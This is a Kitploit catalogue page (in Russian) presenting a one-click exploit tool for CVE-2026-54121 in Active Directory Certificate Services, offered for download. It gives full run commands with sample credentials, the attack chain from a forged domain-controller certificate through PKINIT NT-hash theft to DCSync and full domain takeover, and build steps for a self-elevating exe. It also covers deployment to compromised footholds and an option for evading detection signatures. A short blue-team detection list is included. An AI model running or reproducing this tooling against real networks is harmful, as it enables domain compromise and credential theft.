Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Certighost_CVE-2026-54121 — Однокликовый эксплойт для CVE-2026-54121 (Certighost), нацеленный на подмену идентичности сертификатов AD CS. Автоматизирует создание учётной записи машины, перенаправление трафика, поддельный ЦС, PKINIT и извлечение NT-хеша для компрометации домена. | Kitploit
Инструменты/GitHubGitHub/trya9ain/certighost_cve-2026-54121
Анализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubtrya9ain/certighost_cve-2026-54121

Certighost_CVE-2026-54121

Однокликовый эксплойт для CVE-2026-54121 (Certighost), нацеленный на подмену идентичности сертификатов AD CS. Автоматизирует создание учётной записи машины, перенаправление трафика, поддельный ЦС, PKINIT и извлечение NT-хеша для компрометации домена.

Репозиторий
11 ч 32 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

certighost-oneclick

CVE-2026-54121 (Certighost) инструмент эксплуатации в один клик — только для локальных лабораторных сред/авторизованного тестирования.

Нативная версия для Windows, переработанная на основе вышестоящего PoC (анализ @h0j3n / реализация @aniqfakhrul): встроенный редиректор WinDivert (pydivert), одна команда выполняет «создание учетной записи → редирект → прослушивание rogue → chase CA → сертификат учетной записи DC → PKINIT → NT-хэш учетной записи машины DC», без остановки службы Server, без изменения какой-либо конфигурации хоста, выход — полное восстановление.

Отличия от вышестоящей версии (список патчей)

ПатчОписание
--redirectВстроенный редиректор WinDivert (445 → --lsa-port, узкая фильтрация: перехват только трафика IP слушателя), запуск/остановка вместе с процессом, автоматическое восстановление 445 при выходе. Замена официального PortBender (его официальный продукт — 32-битный рефлективный DLL для CS, не может работать автономно)
--lsa-portПараметризация порта прослушивания rogue LSA/SMB (по умолчанию 445; при --redirect по умолчанию 8445)
Защита os.geteuidПроверка root в вышестоящей версии падает на Windows → защита hasattr + подсказка о портах Windows
Параметризация проверки готовностиВышестоящая версия с жестко заданным port_ok(127.0.0.1, 445) → args.lsa_port
Заголовок PEP 723uv run certighost.py ... запускается напрямую, зависимости разрешаются автоматически (включая impacket из git-master), нулевое загрязнение окружения
--new-computer-nameПользовательское имя создаваемой учетной записи (обход сигнатуры обнаружения GHOST*)
--new-computer-passПользовательский пароль создаваемой учетной записи (должен соответствовать политике паролей домена)
Полифилл random.randbytesimpacket git-master использует API 3.9+ при импорте smbserver; требуется для версии 3.8, реализация через os.urandom
Завершение при выходеПосле GGWP flush + os._exit() (полное устранение минутных зависаний из-за не-daemon потоков impacket)
Семантика кодов выхода0 — успех / 1 — ошибка
Запись <dc>.hash.txtNT-хэш учетной записи машины DC записывается в файл (только одна строка name:lm:nt)

Использование

① Предварительная проверка (только чтение, подтверждение CA и предпосылок эксплуатации):

root@kitploit:~
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'

Вывод списка Enterprise CA, прав выдачи и регистрации шаблона Machine (требуется право Enroll для Domain Computers). На машине CA дополнительно проверить флаг chase: certutil -getreg policy\EditFlags (должен быть EDITF_ENABLECHASECLIENTDC; при установке по умолчанию на Server 2016 проверено — включен).

② Эксплуатация в один клик (Windows, администратор):

root@kitploit:~
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
  --dc-ip 192.168.16.144 --listener <IP, доступный с этой машины> --redirect \
  --new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'

Три файла результата (автоматически сохраняются в рабочую директорию):

ФайлСодержимое
<dc>.pfxСертификат учетной записи DC (материал для PKINIT)
<dc>.ccacheКэш билетов Kerberos
<dc>.hash.txtNT-хэш учетной записи машины DC (только строка name:lm:nt)

③ Очистка (удаление созданной учетной записи):

root@kitploit:~
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH

Параметры (стиль impacket)

ПараметрОписание
-d / -u / -p / -HДомен / пользователь с низкими правами / пароль / NTLM-хэш
--dc-ipАдрес DC (обязательно)
--listener IPIP прослушивателя rogue (при нескольких сетевых картах обязательно указывать явно)
--redirectЯдро Windows: встроенный редирект WinDivert 445 (требуется администратор + pydivert)
--lsa-port NПорт rogue LSA (при --redirect по умолчанию 8445)
--new-computer-nameПользовательское имя создаваемой учетной записи (автоматически добавляется $)
--new-computer-passПользовательский пароль создаваемой учетной записи (взаимоисключающе с путём existing)
--computer-name/--computer-pass/--computer-hashБез MAQ: повторное использование уже контролируемой учетной записи машины
--target-san DC01$Указание целевого объекта для подмены (по умолчанию автоматическое обнаружение DC)
--templateШаблон сертификата (по умолчанию Machine)
--ca / --ca-ipРучное указание CA
--debugПолная трассировка этапов протокола

Внутренний процесс

root@kitploit:~
Phase1  Пользователь с низкими правами создает учетную запись машины (автоматически по пути MAQ / пользовательская через --new-computer-* / повторное использование существующей через --computer-*)
Phase2  [Windows] Встроенный редиректор WinDivert: listener_ip:445 -> :lsa_port
        Узкая фильтрация (только этот IP), переписанные пакеты вне фильтра = нет цикла повторной инъекции; дескриптор закрывается вместе с процессом
Phase3  Сервер rogue: LDAP:389 + LSA/SMB:lsa_port (ответ на chase cdc/rmd, передача данных идентичности DC)
Phase4  Запрос сертификата от имени машины (шаблон Machine), CA выполняет обратное подключение к rogue → выдача сертификата учетной записи DC
Phase5  PKINIT → KDC возвращает NT-хэш учетной записи машины DC в PAC → извлечение и запись в .hash.txt
Phase6  (Далее) secretsdump DCSync → krbtgt → полный захват домена; cleanup_ghost удаляет созданную учетную запись

Использование на Linux без изменений (root напрямую привязывает 445/389, без --redirect).

Механизм извлечения хэша (не DCSync)

Извлечение хэша в цепочке атаки идет через PKINIT → PAC → NT-хэш, а не DCSync:

  1. CA обманом вынуждается выдать сертификат с «идентичностью = учетная запись машины DC»
  2. Скрипт использует сертификат для Kerberos PKINIT (предварительная аутентификация с открытым ключом)
  3. KDC возвращает NT-хэш этой учетной записи в PAC_CREDENTIAL_INFO ответа AS-REP (поведение, заложенное в дизайн протокола Kerberos: при сертификатной аутентификации NT-хэш помещается в PAC для совместимости со старыми приложениями NTLM)
  4. Скрипт расшифровывает PAC, извлекает хэш → вывод на экран + запись в файл

Использование secretsdump для DCSync после получения хэша — это второй шаг, а не источник хэша.

Сборка (однофайловый exe, форма поставки архитектуры A)

root@kitploit:~
# PowerShell 7
./build_exe.ps1              # Стандартная сборка  (Win10 / Server 2016+)
./build_exe.ps1 3.10         # Совместимая сборка  (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy       # Устаревшая сборка  (Win7 SP1 / Server 2008 R2 x64)

Результат dist\certighost_x64.exe: 19-27MB (зависит от сборки), --uac-admin само-повышение прав, ноль зависимостей, скрипт автоматически выводит контрольную сумму SHA256.

Предпосылки сборки устаревшей версии (legacy)

Требуется официальный CPython 3.8.10 с python.org, установленный по следующему пути (последняя официальная сборка бинарников, поддерживающая ядро Win7, не зависит от новых API UCRT):

root@kitploit:~
D:\网安相关\Tools\Python\cpython-3.8.10-x64\

Команда установки (тихая, без записи в PATH, без установки лаунчера):

root@kitploit:~
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0

Также закрепить PyInstaller==5.13.2 (загрузчик 6.x не поддерживает ядро Win7) и cryptography==38.0.4 (Rust-колеса с версии 38.x начинают требовать Win10+), оба уже зафиксированы в скрипте.

Матрица проверки на реальном оборудовании

СборкаРеальная системаПолная цепочкаПримечания
СтандартнаяWin11✅
Совместимая 3.10Win11 / Win10 / Server 2012 R2✅ ×3Включая реальное оборудование с WinDivert
Устаревшая legacyWin11 / Server 2008 R2 x64✅ ×2Официальный 3.8.10 + PyInstaller 5.13.2

Обратите внимание: PyInstaller+impacket — зона повышенного внимания антивирусов, перед развертыванием оцените самостоятельно.

Архитектура боевого развертывания (модель с двумя машинами)

  • Архитектура A (форма по умолчанию этого инструмента): весь exe доставляется на точку опоры с выходом в сеть (требуется администратор) и запускается напрямую;
  • Архитектура B (ценная точка опоры): инструмент остается локально, на точке опоры размещается только туннель с удаленной переадресацией (389 прямая привязка + 445 требует редиректа того же типа, что и в этом инструменте).

Точки обнаружения (синяя команда)

  • В базе данных CA появляется подозрительный сертификат, выданный на идентичность DC (постоянный остаточный след) — первый якорь для криминалистики
  • События CA 4886/4887 (выдача сертификата) с несоответствием идентичности запрашивающего и целевого объекта (в Elastic/Nextron есть готовые правила)
  • Новые учетные записи машин GHOST*/пользовательские (4741) + запросы регистрации от пользователей с низкими правами к CA
  • Событие загрузки драйвера WinDivert на точке опоры (общее для архитектур A/B)

Известные ограничения

  • Требуется Enterprise CA + возможность регистрации для пользователя с низкими правами + DC без патча от 2026-07 + включенный флаг chase
  • Целью может быть только учетная запись компьютера (ограничение прав регистрации шаблона Machine и механизма идентичности dNSHostName), но учетная запись машины DC = DCSync = весь домен, эффект эквивалентен получению всех администраторов домена
  • Полная цепочка подтверждена на Server 2016; на 2012R2~2025 предполагается работоспособность (тот же механизм chase)
  • Путь создания учетной записи — понижающая лестница: при сбое LDAPS автоматический откат на SAMR
  • На этапе PKINIT изредка возникает ciphertext integrity failure: наблюдалось один раз, повторная попытка устраняет проблему
  • Редиректор спроектирован для узкой области IPv4, сценарий IPv6 не покрыт

Список файлов

root@kitploit:~
certighost.py            Основной эксплойт (вышестоящая версия + патчи для нативной Windows + PEP 723)
certighost_redirect.py   Собственный редиректор WinDivert 445 (pydivert; самопроверка --selftest/--e2e)
check_ca.py              Предварительная проверка: CA/шаблон/права регистрации/флаг chase (только чтение)
cleanup_ghost.py         Завершение: удаление созданной учетной записи
build_exe.ps1            Сборка однофайлового exe через PyInstaller (pwsh7, матрица из трех сборок, автоматический SHA256)

Вышестоящие источники и благодарности

  • Оригинальное исследование и PoC: @h0j3n (анализ gist), @aniqfakhrul/CVE-2026-54121 (вышестоящая реализация)
  • Kudelski Security (обнаружившая уязвимость сторона); PortBender (Praetorian, источник идеи редиректа)
  • pydivert (привязки WinDivert 2.2.2 для Python)
Скачать инструмент